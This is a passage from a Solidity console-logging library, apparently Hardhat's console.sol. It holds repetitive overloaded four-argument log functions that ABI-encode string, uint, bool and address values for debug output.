p3
)
);
}
function log(
string memory p0,
uint256 p1,
address p2,
uint256 p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature(
"log(string,uint,address,uint)",
p0,
p1,
p2,
p3
)
);
}
function log(
string memory p0,
uint256 p1,
address p2,
string memory p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature(
"log(string,uint,address,string)",
p0,
p1,
p2,
p3
)
);
}
function log(
string memory p0,
uint256 p1,
address p2,
bool p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature(
"log(string,uint,address,bool)",
p0,
p1,
p2,
p3
)
);
}
function log(
string memory p0,
uint256 p1,
address p2,
address p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature(
"log(string,uint,address,address)",
p0,
p1,
p2,
p3
)
);
}
function log(
string memory p0,
string memory p1,
uint256 p2,
uint256 p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature(
"log(string,string,uint,uint)",
p0,
p1,
p2,
p3
)
);
}
function log(
string memory p0,
string memory p1,
uint256 p2,
string memory p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature(
"log(string,string,uint,string)",
p0,
p1,
p2,
p3
)
);
}
function log(
string memory p0,
string memory p1,
uint256 p2,
bool p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature(
"log(string,string,uint,bool)",
p0,
p1,
p2,
p3
)
);
}
function log(
string memory p0,
string memory p1,
uint256 p2,
address p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature(
"log(string,string,uint,address)",
p0,
p1,
p2,
p3
)
);
}
function log(
string memory p0,
string memory p1,
string memory p2,
uint256 p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature(
"log(string,string,string,uint)",
p0,
p1,
p2,
p3
)
);
}
function log(
string memory p0,
string memory p1,
string memory p2,
string memory p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature(
"log(string,string,string,string)",
p0,
p1,
p2,
p3
)
);
}
function log(
string memory p0,
string memory p1,
string memory p2,
bool p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature(
"log(string,string,string,bool)",
p0,
p1,
p2,
p3
)
);
}
function log(
string memory p0,
string memory p1,
string memory p2,
address p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature(
"log(string,string,string,address)",
p0,
p1,
p2,
p3
)
);
}
function log(
string memory p0,
string memory p1,
bool p2,
uint256 p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature(
"log(string,string,bool,uint)",
p0,
p1,
p2,
p3
)
);
}
function log(
string memory p0,
string memory p1,
bool p2,
string memory p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature(
"log(string,string,bool,string)",
p0,
p1,
p2,
p3
)
);
}
function log(
string memory p0,
string memory p1,
bool p2,
bool p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature(
"log(string,string,bool,bool)",
p0,
p1,
p2,
p3
)
);
}
function log(
string memory p0,
string memory p1,
bool p2,
address p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature(
"log(string,string,bool,address)",
p0,
p1,
p2,
p3
)
);
}
function log(
string memory p0,
string memory p1,
address p2,
uint256 p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature(
"log(string,string,address,uint)",
p0,
p1,
p2,
p3
)
);
}
function log(
string memory p0,
string memory p1,
address p2,
string memory p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature(
"log(string,string,address,string)",
p0,
p1,
p2,
p3
)
);
}
function log(
string memory p0,
string memory p1,
address p2,
bool p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature(
"log(string,string,address,bool)",
p0,
p1,
p2,
p3
)
);
}
function log(
string memory p0,
string memory p1,
address p2,
address p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature(
"log(string,string,address,address)",
p0,
p1,
p2,
p3
)
);
}
function log(
string memory p0,
bool p1,
uint256 p2,
uint256 p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature(
"log(string,bool,uint,uint)",
p0,
p1,
p2,
p3
)
);
}
function log(
string memory p0,
bool p1,
uint256 p2,
string memory p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature(
"log(string,bool,uint,string)",
p0,
p1,
p2,
p3
)
);
}
function log(
string memory p0,
bool p1,
uint256 p2,
bool p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature(
"log(string,bool,uint,bool)",
p0,
p1,
p2,
p3
)
);
}
function log(
string memory p0,
bool p1,
uint256 p2,
address p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature(
"log(string,bool,uint,address)",
p0,
p1,
p2,
p3
)
);
}
function log(
string memory p0,
bool p1,
string memory p2,
uint256 p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature(
"log(string,bool,string,uint)",
p0,
p1,
p2,
p3
)
);
}
function log(
string memory p0,
bool p1,
string memory p2,
string memory p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature(
"log(string,bool,string,string)",
p0,
p1,
p2,
p3
)
);
}
function log(
string memory p0,
bool p1,
string memory p2,
bool p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature(
"log(string,bool,string,bool)",
p0,
p1,
p2,
p3
)
);
}
function log(
string memory p0,
bool p1,
string memory p2,
address p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature(
"log(string,bool,string,address)",
p0,
p1,
p2,
p3
)
);
}
function log(
string memory p0,
bool p1,
bool p2,
uint256 p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature(
"log(string,bool,bool,uint)",
p0,
p1,
p2,
p3
)
);
}
function log(
string memory p0,
bool p1,
bool p2,
string memory p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature(
"log(string,bool,bool,string)",
p0,
p1,
p2,
p3
)
);
}
function log(
string memory p0,
bool p1,
bool p2,
bool p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature(
"log(string,bool,bool,bool)",
p0,
p1,
p2,
p3
)
);
}
function log(
string memory p0,
bool p1,
bool p2,
address p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature(
"log(string,bool,bool,address)",
p0,
p1,
p2,
p3
)
);
}
function log(
string memory p0,
bool p1,
address p2,
uint256 p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature(
"log(string,bool,address,uint)",
p0,
p1,
p2,
p3
)
);
}
function log(
string memory p0,
bool p1,
address p2,
string memory p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature(
"log(string,bool,address,string)",
p0,
p1,
p2,
p3
)
);
}
function log(
string memory p0,
bool p1,
address p2,
bool p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature(
"log(string,bool,address,bool)",
p0,
p1,
p2,
p3
)
);
}
function log(
string memory p0,
bool p1,
address p2,
address p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature(
"log(string,bool,address,address)",
p0,
p1,
p2,
p3
)
);
}
function log(
string memory p0,
address p1,
uint256 p2,
uint256 p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature(
"log(string,address,uint,uint)",
p0,
p1,
p2,
p3
)
);
}
function log(
string memory p0,
address p1,
uint256 p2,
string memory p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature(
"log(string,address,uint,string)",
p0,
p1,
p2,
p3
)
);
}
function log(
string memory p0,
address p1,
uint256 p2,
bool p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature(
"log(string,address,uint,bool)",
p0,
p1,
p2,
p3
)
);
}
function log(
string memory p0,
address p1,
uint256 p2,
address p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature(
"log(string,address,uint,address)",
p0,
p1,
p2,
p3
)
);
}
function log(
string memory p0,
address p1,
string memory p2,
uint256 p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature(
"log(string,address,string,uint)",
p0,
p1,
p2,
p3
)
);
}
function log(
string memory p0,
address p1,
string memory p2,
string memory p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature(
"log(string,address,string,string)",
p0,
p1,
p2,
p3
)
);
}
function log(
string memory p0,
address p1,
string memory p2,
bool p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature(
"log(string,address,string,bool)",
p0,
p1,
p2,
p3
)
);
}
function log(
string memory p0,
address p1,
string memory p2,
address p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature(
"log(string,address,string,address)",
p0,
p1,
p2,
p3
)
);
}
function log(
string memory p0,
address p1,
bool p2,
uint256 p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature(
"log(string,address,bool,uint)",
p0,
p1,
p2,
p3
)
);
}
function log(
string memory p0,
address p1,
bool p2,
string memory p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature(
"log(string,address,bool,string)",
p0,
p1,
p2,
p3
)
);
}
function log(
string memory p0,
address p1,
bool p2,
bool p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature(
"log(string,address,bool,bool)",
p0,
p1,
p2,
p3
)
);
}
function log(
string memory p0,
address p1,
bool p2,
address p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature(
"log(string,address,bool,address)",
p0,
p1,
p2,
p3
)
);
}
function log(
string memory p0,
address p1,
address p2,
uint256 p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature(
"log(string,address,address,uint)",
p0,
p1,
p2,
p3
)
);
}
function log(
string memory p0,
address p1,
address p2,
string memory p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature(
"log(string,address,address,string)",
p0,
p1,
p2,
p3
)
);
}
function log(
string memory p0,
address p1,
address p2,
bool p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature(
"log(string,address,address,bool)",
p0,
p1,
p2,
p3
)
);
}
function log(
string memory p0,
address p1,
address p2,
address p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature(
"log(string,address,address,address)",
p0,
p1,
p2,
p3
)
);
}
function log(
bool p0,
uint256 p1,
uint256 p2,
uint256 p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature("log(bool,uint,uint,uint)", p0, p1, p2, p3)
);
}
function log(
bool p0,
uint256 p1,
uint256 p2,
string memory p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature(
"log(bool,uint,uint,string)",
p0,
p1,
p2,
p3
)
);
}
function log(
bool p0,
uint256 p1,
uint256 p2,
bool p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature("log(bool,uint,uint,bool)", p0, p1, p2, p3)
);
}
function log(
bool p0,
uint256 p1,
uint256 p2,
address p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature(
"log(bool,uint,uint,address)",
p0,
p1,
p2,
p3
)
);
}
function log(
bool p0,
uint256 p1,
string memory p2,
uint256 p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature(
"log(bool,uint,string,uint)",
p0,
p1,
p2,
p3
)
);
}
function log(
bool p0,
uint256 p1,
string memory p2,
string memory p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature(
"log(bool,uint,string,string)",
p0,
p1,
p2,
p3
)
);
}
function log(
bool p0,
uint256 p1,
string memory p2,
bool p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature(
"log(bool,uint,string,bool)",
p0,
p1,
p2,
p3
)
);
}
function log(
bool p0,
uint256 p1,
string memory p2,
address p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature(
"log(bool,uint,string,address)",
p0,
p1,
p2,
p3
)
);
}
function log(
bool p0,
uint256 p1,
bool p2,
uint256 p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature("log(bool,uint,bool,uint)", p0, p1, p2, p3)
);
}
function log(
bool p0,
uint256 p1,
bool p2,
string memory p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature(
"log(bool,uint,bool,string)",
p0,
p1,
p2,
p3
)
);
}
function log(
bool p0,
uint256 p1,
bool p2,
bool p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature("log(bool,uint,bool,bool)", p0, p1, p2, p3)
);
}
function log(
bool p0,
uint256 p1,
bool p2,
address p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature(
"log(bool,uint,bool,address)",
p0,
p1,
p2,
p3
)
);
}
function log(
bool p0,
uint256 p1,
address p2,
uint256 p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature(
"log(bool,uint,address,uint)",
p0,
p1,
p2,
p3
)
);
}
function log(
bool p0,
uint256 p1,
address p2,
string memory p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature(
"log(bool,uint,address,string)",
p0,
p1,
p2,
p3
)
);
}
function log(
bool p0,
uint256 p1,
address p2,
bool p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature(
"log(bool,uint,address,bool)",
p0,
p1,
p2,
p3
)
);
}
function log(
bool p0,
uint256 p1,
address p2,
address p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature(
"log(bool,uint,address,address)",
p0,
p1,
p2,
p3
)
);
}
function log(
bool p0,
string memory p1,
uint256 p2,
uint256 p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature(
"log(bool,string,uint,uint)",
p0,
p1,
p2,
p3
)
);
}
function log(
bool p0,
string memory p1,
uint256 p2,
string memory p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature(
"log(bool,string,uint,string)",
p0,
p1,
p2,
p3
)
);
}
function log(
bool p0,
string memory p1,
uint256 p2,
bool p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature(
"log(bool,string,uint,bool)",
p0,
p1,
p2,
p3
)
);
}
function log(
bool p0,
string memory p1,
uint256 p2,
address p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature(
"log(bool,string,uint,address)",
p0,
p1,
p2,
p3
)
);
}
function log(
bool p0,
string memory p1,
string memory p2,
uint256 p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature(
"log(bool,string,string,uint)",
p0,
p1,
p2,
p3
)
);
}
function log(
bool p0,
string memory p1,
string memory p2,
string memory p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature(
"log(bool,string,string,string)",
p0,
p1,
p2,
p3
)
);
}
function log(
bool p0,
string memory p1,
string memory p2,
bool p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature(
"log(bool,string,string,bool)",
p0,
p1,
p2,
p3
)
);
}
function log(
bool p0,
string memory p1,
string memory p2,
address p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature(
"log(bool,string,string,address)",
p0,
p1,
p2,
p3
)
);
}
function log(
bool p0,
string memory p1,
bool p2,
uint256 p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature(
"log(bool,string,bool,uint)",
p0,
p1,
p2,
p3
)
);
}
function log(
bool p0,
string memory p1,
bool p2,
string memory p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature(
"log(bool,string,bool,string)",
p0,
p1,
p2,
p3
)
);
}
function log(
bool p0,
string memory p1,
bool p2,
bool p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature(
"log(bool,string,bool,bool)",
p0,
p1,
p2,
p3
)
);
}
function log(
bool p0,
string memory p1,
bool p2,
address p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature(
"log(bool,string,bool,address)",
p0,
p1,
p2,
p3
)
);
}
function log(
bool p0,
string memory p1,
address p2,
uint256 p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature(
"log(bool,string,address,uint)",
p0,
p1,
p2,
p3
)
);
}
function log(
bool p0,
string memory p1,
address p2,
string memory p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature(
"log(bool,string,address,string)",
p0,
p1,
p2,
p3
)
);
}
function log(
bool p0,
string memory p1,
address p2,
bool p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature(
"log(bool,string,address,bool)",
p0,
p1,
p2,
p3
)
);
}
function log(
bool p0,
string memory p1,
address p2,
address p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature(
"log(bool,string,address,address)",
p0,
p1,
p2,
p3
)
);
}
function log(
bool p0,
bool p1,
uint256 p2,
uint256 p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature("log(bool,bool,uint,uint)", p0, p1, p2, p3)
);
}
function log(
bool p0,
bool p1,
uint256 p2,
string memory p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature(
"log(bool,bool,uint,string)",
p0,
p1,
p2,
p3
)
);
}
function log(
bool p0,
bool p1,
uint256 p2,
bool p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature("log(bool,bool,uint,bool)", p0, p1, p2, p3)
);
}
function log(
bool p0,
bool p1,
uint256 p2,
address p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature(
"log(bool,bool,uint,address)",
p0,
p1,
p2,
p3
)
);
}
function log(
bool p0,
bool p1,
string memory p2,
uint256 p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature(
"log(bool,bool,string,uint)",
p0,
p1,
p2,
p3
)
);
}
function log(
bool p0,
bool p1,
string memory p2,
string memory p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature(
"log(bool,bool,string,string)",
p0,
p1,
p2,
p3
)
);
}
function log(
bool p0,
bool p1,
string memory p2,
bool p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature(
"log(bool,bool,string,bool)",
p0,
p1,
p2,
p3
)
);
}
function log(
bool p0,
bool p1,
string memory p2,
address p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature(
"log(bool,bool,string,address)",
p0,
p1,
p2,
p3
)
);
}
function log(
bool p0,
bool p1,
bool p2,
uint256 p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature("log(bool,bool,bool,uint)", p0, p1, p2, p3)
);
}
function log(
bool p0,
bool p1,
bool p2,
string memory p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature(
"log(bool,bool,bool,string)",
p0,
p1,
p2,
p3
)
);
}
function log(
bool p0,
bool p1,
bool p2,
bool p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature("log(bool,bool,bool,bool)", p0, p1, p2, p3)
);
}
function log(
bool p0,
bool p1,
bool p2,
address p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature(
"log(bool,bool,bool,address)",
p0,
p1,
p2,
p3
)
);
}
function log(
bool p0,
bool p1,
address p2,
uint256 p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature(
"log(bool,bool,address,uint)",
p0,
p1,
p2,
p3
)
);
}
function log(
bool p0,
bool p1,
address p2,
string memory p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature(
"log(bool,bool,address,string)",
p0,
p1,
p2,
p3
)
);
}
function log(
bool p0,
bool p1,
address p2,
bool p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature(
"log(bool,bool,address,bool)",
p0,
p1,
p2,
p3
)
);
}
function log(
bool p0,
bool p1,
address p2,
address p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature(
"log(bool,bool,address,address)",
p0,
p1,
p2,
p3
)
);
}
function log(
bool p0,
address p1,
uint256 p2,
uint256 p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature(
"log(bool,address,uint,uint)",
p0,
p1,
p2,
p3
)
);
}
function log(
bool p0,
address p1,
uint256 p2,
string memory p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature(
"log(bool,address,uint,string)",
p0,
p1,
p2,
p3
)
);
}
function log(
bool p0,
address p1,
uint256 p2,
bool p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature(
"log(bool,address,uint,bool)",
p0,
p1,
p2,
p3
)
);
}
function log(
bool p0,
address p1,
uint256 p2,
address p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature(
"log(bool,address,uint,address)",
p0,
p1,
p2,
p3
)
);
}
function log(
bool p0,
address p1,
string memory p2,
uint256 p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature(
"log(bool,address,string,uint)",
p0,
p1,
p2,
p3
)
);
}
function log(
bool p0,
address p1,
string memory p2,
string memory p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature(
"log(bool,address,string,string)",
p0,
p1,
p2,
p3
)
);
}
function log(
bool p0,
address p1,
string memory p2,
bool p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature(
"log(bool,address,string,bool)",
p0,
p1,
p2,
p3
)
);
}
function log(
bool p0,
address p1,
string memory p2,
address p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature(
"log(bool,address,string,address)",
p0,
p1,
p2,
p3
)
);
}
function log(
bool p0,
address p1,
bool p2,
uint256 p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature(
"log(bool,address,bool,uint)",
p0,
p1,
p2,
p3
)
);
}
function log(
bool p0,
address p1,
bool p2,
string memory p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature(
"log(bool,address,bool,string)",
p0,
p1,
p2,
p3
)
);
}
function log(
bool p0,
address p1,
bool p2,
bool p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature(
"log(bool,address,bool,bool)",
p0,
p1,
p2,
p3
)
);
}
function log(
bool p0,
address p1,
bool p2,
address p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature(
"log(bool,address,bool,address)",
p0,
p1,
p2,
p3
)
);
}
function log(
bool p0,
address p1,
address p2,
uint256 p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature(
"log(bool,address,address,uint)",
p0,
p1,
p2,
p3
)
);
}
function log(
bool p0,
address p1,
address p2,
string memory p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature(
"log(bool,address,address,string)",
p0,
p1,
p2,
p3
)
);
}
function log(
bool p0,
address p1,
address p2,
bool p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature(
"log(bool,address,address,bool)",
p0,
p1,
p2,
p3
)
);
}
function log(
bool p0,
address p1,
address p2,
address p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature(
"log(bool,address,address,address)",
p0,
p1,
p2,
p3
)
);
}
function log(
address p0,
uint256 p1,
uint256 p2,
uint256 p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature(
"log(address,uint,uint,uint)",
p0,
p1,
p2,
p3
)
);
}
function log(
address p0,
uint256 p1,
uint256 p2,
string memory p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature(
"log(address,uint,uint,string)",
p0,
p1,
p2,
p3
)
);
}
function log(
address p0,
uint256 p1,
uint256 p2,
bool p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature(
"log(address,uint,uint,bool)",
p0,
p1,
p2,
p3
)
);
}
function log(
address p0,
uint256 p1,
uint256 p2,
address p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature(
"log(address,uint,uint,address)",
p0,
p1,
p2,
p3
)
);
}
function log(
address p0,
uint256 p1,
string memory p2,
uint256 p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature(
"log(address,uint,string,uint)",
p0,
p1,
p2,
p3
)
);
}
function log(
address p0,
uint256 p1,
string memory p2,
string memory p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature(
"log(address,uint,string,string)",
p0,
p1,
p2,
p3
)
);
}
function log(
address p0,
uint256 p1,
string memory p2,
bool p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature(
"log(address,uint,string,bool)",
p0,
p1,
p2,
p3
)
);
}
function log(
address p0,
uint256 p1,
string memory p2,
address p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature(
"log(address,uint,string,address)",
p0,
p1,
p2,
p3
)
);
}
function log(
address p0,
uint256 p1,
bool p2,
uint256 p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature(
"log(address,uint,bool,uint)",
p0,
p1,
p2,
p3
)
);
}
function log(
address p0,
uint256 p1,
bool p2,
string memory p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature(
"log(address,uint,bool,string)",
p0,
p1,
p2,
p3
)
);
}
function log(
address p0,
uint256 p1,
bool p2,
bool p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature(
"log(address,uint,bool,bool)",
p0,
p1,
p2,
p3
)
);
}
function log(
address p0,
uint256 p1,
bool p2,
address p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature(
"log(address,uint,bool,address)",
p0,
p1,
p2,
p3
)
);
}
function log(
address p0,
uint256 p1,
address p2,
uint256 p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature(
"log(address,uint,address,uint)",
p0,
p1,
p2,
p3
)
);
}
function log(
address p0,
uint256 p1,
address p2,
string memory p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature(
"log(address,uint,address,string)",
p0,
p1,
p2,
p3
)
);
}
function log(
address p0,
uint256 p1,
address p2,
bool p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature(
"log(address,uint,address,bool)",
p0,
p1,
p2,
p3
)
);
}
function log(
address p0,
uint256 p1,
address p2,
address p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature(
"log(address,uint,address,address)",
p0,
p1,
p2,
p3
)
);
}
function log(
address p0,
string memory p1,
uint256 p2,
uint256 p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature(
"log(address,string,uint,uint)",
p0,
p1,
p2,
p3
)
);
}
function log(
address p0,
string memory p1,
uint256 p2,
string memory p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature(
"log(address,string,uint,string)",
p0,
p1,
p2,
p3
)
);
}
function log(
address p0,
string memory p1,
uint256 p2,
bool p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature(
"log(address,string,uint,bool)",
p0,
p1,
p2,
p3
)
);
}
function log(
address p0,
string memory p1,
uint256 p2,
address p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature(
"log(address,string,uint,address)",
p0,
p1,
p2,
p3
)
);
}
function log(
address p0,
string memory p1,
string memory p2,
uint256 p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature(
"log(address,string,string,uint)",
p0,
p1,
p2,
p3
)
);
}
function log(
address p0,
string memory p1,
string memory p2,
string memory p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature(
"log(address,string,string,string)",
p0,
p1,
p2,
p3
)
);
}
function log(
address p0,
string memory p1,
string memory p2,
bool p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature(
"log(address,string,string,bool)",
p0,
p1,
p2,
p3
)
);
}
function log(
address p0,
string memory p1,
string memory p2,
address p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature(
"log(address,string,string,address)",
p0,
p1,
p2,
p3
)
);
}
function log(
address p0,
string memory p1,
bool p2,
uint256 p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature(
"log(address,string,bool,uint)",
p0,
p1,
p2,
p3
)
);
}
function log(
address p0,
string memory p1,
bool p2,
string memory p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature(
"log(address,string,bool,string)",
p0,
p1,
p2,
p3
)
);
}
function log(
address p0,
string memory p1,
bool p2,
bool p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature(
"log(address,string,bool,bool)",
p0,
p1,
p2,
p3
)
);
}
function log(
address p0,
string memory p1,
bool p2,
address p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature(
"log(address,string,bool,address)",
p0,
p1,
p2,
p3
)
);
}
function log(
address p0,
string memory p1,
address p2,
uint256 p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature(
"log(address,string,address,uint)",
p0,
p1,
p2,
p3
)
);
}
function log(
address p0,
string memory p1,
address p2,
string memory p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature(
"log(address,string,address,string)",
p0,
p1,
p2,
p3
)
);
}
function log(
address p0,
string memory p1,
address p2,
bool p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature(
"log(address,string,address,bool)",
p0,
p1,
p2,
p3
)
);
}
function log(
address p0,
string memory p1,
address p2,
address p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature(
"log(address,string,address,address)",
p0,
p1,
p2,
p3
)
);
}
function log(
address p0,
bool p1,
uint256 p2,
uint256 p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature(
"log(address,bool,uint,uint)",
p0,
p1,
p2,
p3
)
);
}
function log(
address p0,
bool p1,
uint256 p2,
string memory p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature(
"log(address,bool,uint,string)",
p0,
p1,
p2,
p3
)
);
}
function log(
address p0,
bool p1,
uint256 p2,
bool p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature(
"log(address,bool,uint,bool)",
p0,
p1,
p2,
p3
)
);
}
function log(
address p0,
bool p1,
uint256 p2,
address p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature(
"log(address,bool,uint,address)",
p0,
p1,
p2,
p3
)
);
}
function log(
address p0,
bool p1,
string memory p2,
uint256 p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature(
"log(address,bool,string,uint)",
p0,
p1,
p2,
p3
)
);
}
function log(
address p0,
bool p1,
string memory p2,
string memory p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature(
"log(address,bool,string,string)",
p0,
p1,
p2,
p3
)
);
}
function log(
address p0,
bool p1,
string memory p2,
bool p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature(
"log(address,bool,string,bool)",
p0,
p1,
p2,
p3
)
);
}
function log(
address p0,
bool p1,
string memory p2,
address p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature(
"log(address,bool,string,address)",
p0,
p1,
p2,
p3
)
);
}
function log(
address p0,
bool p1,
bool p2,
uint256 p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature(
"log(address,bool,bool,uint)",
p0,
p1,
p2,
p3
)
);
}
function log(
address p0,
bool p1,
bool p2,
string memory p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature(
"log(address,bool,bool,string)",
p0,
p1,
p2,
p3
)
);
}
function log(
address p0,
bool p1,
bool p2,
bool p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature(
"log(address,bool,bool,bool)",
p0,
p1,
p2,
p3
)
);
}
function log(
address p0,
bool p1,
bool p2,
address p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature(
"log(address,bool,bool,address)",
p0,
p1,
p2,
p3
)
);
}
function log(
address p0,
bool p1,
address p2,
uint256 p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature(
"log(address,bool,address,uint)",
p0,
p1,
p2,
p3
